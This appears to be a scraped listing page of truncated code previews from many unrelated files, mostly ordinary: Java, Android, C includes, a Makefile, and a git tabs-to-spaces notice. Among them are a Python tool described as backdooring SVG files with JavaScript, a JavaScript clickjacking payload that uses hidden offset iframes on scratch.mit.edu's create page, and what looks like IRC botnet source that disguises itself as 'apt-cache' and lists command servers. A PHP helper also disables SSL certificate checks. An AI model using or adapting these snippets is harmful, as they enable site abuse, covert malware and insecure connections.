HEY: I've turned this into a blog post, which is a little more in depth.
🚨 https://eev.ee/blog/2016/06/04/converting-a-git-repo-from-tabs-to-spaces/ 🚨
HEY: I've turned this into a blog post, which is a little more in depth.
🚨 https://eev.ee/blog/2016/06/04/converting-a-git-repo-from-tabs-to-spaces/ 🚨
#include <stdio.h> | |
#include <stdlib.h> | |
#include <assert.h> | |
#include <signal.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <stddef.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> |
#!/usr/bin/env python3 | |
# | |
# tool to backdoor svg with js | |
# | |
# usage: ./js_svg.py input.svg payload.js > output.svg | |
# | |
from bs4 import BeautifulSoup as BS | |
from bs4 import CData |
<script> | |
var numb = 30; // The number of projects to create | |
var warn = true; // Warn user about what's about to happen? | |
if(warn) { | |
var resp = prompt("Are you sure you want to create " + numb + " untitled projects? Type (y/n)"); | |
if(resp == "y" || resp == "yes" || resp == "Y" || resp == "yep" || resp == "yeah") { | |
for(var i = 0; i < numb; i++) { | |
document.write("<div qjid=\"quickjack\" style=\"overflow: hidden; width: 1px; height: 2px; position: relative;\" id=\"cksl6\">\r\n<div class=\"ol\" style=\"position: absolute; width:1px; height: 2px; z-index:90; overflow: auto;\"><\/div><iframe name=\"cksl7\" src=\"http:\/\/scratch.mit.edu\/create\" style=\"border: 0pt none ; left: -724px; top: -32px; position: absolute; width: 1921px; height: 1078px;\" scrolling=\"no\"><\/iframe><\/div>"); | |
} |
#define STARTUP 1 | |
#undef IDENT // Only enable this if you absolutely have to | |
#define FAKENAME "apt-cache" // What you want this to hide as | |
#define CHAN "#mint" // Channel to join | |
#define KEY "bleh" // The key of the channel | |
int numservers=5; // Must change this to equal number of servers down there | |
char *servers[] = { | |
"updates.absentvodka.com", | |
"updates.mintylinux.com", | |
"eggstrawdinarry.mylittlerepo.com", |
<?php | |
$verbose = fopen('php://temp', 'w+'); | |
function curl_boilerplate($curl) { | |
global $verbose; | |
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"); | |
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); | |
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); | |
curl_setopt($curl, CURLOPT_COOKIEJAR, realpath("internetometer.cookies")); | |
curl_setopt($curl, CURLOPT_VERBOSE, 1); |
import javax.swing.JOptionPane; | |
public class Reader { | |
public Reader() { | |
String text = JOptionPane.showInputDialog("Please enter a few sentences to parse."); | |
int level = (int) read(text); | |
JOptionPane.showMessageDialog(null, "The text is " + (int) Math.ceil(level) + (level == 1 ? "st" : (level == 2 ? "nd" : (level == 3 ? "rd" : "th"))) + " grader level."); | |
} |
import java.util.LinkedHashMap; | |
import java.util.Map; | |
public class HeaderGenerator { | |
private Map<String, String> map = new LinkedHashMap<String, String>(); | |
private String separator = ": "; | |
private int indentation_size = 4; | |
private char indentation_char = ' '; | |
private int padding_size = 1; | |
private char border_char = '/'; |
using System.Threading.Tasks; | |
using Android.Content; | |
using Android.Graphics; | |
using Java.IO; | |
namespace Android.Util.Graphics | |
{ | |
public static class BitmapDiskCache | |
{ | |
private const string Extension = @".fil"; |
# This is an example Makefile for quick package creation | |
# | |
# It uses FPM [1] to generate simple packages. | |
# - If you need more features or a greater quality package, use debian | |
# standard tools for packaging. | |
# - Do not use checkinstall. Use FPM instead. | |
# | |
# [1] (https://github.com/jordansissel/fpm/wiki) | |
# IMPORTANT: |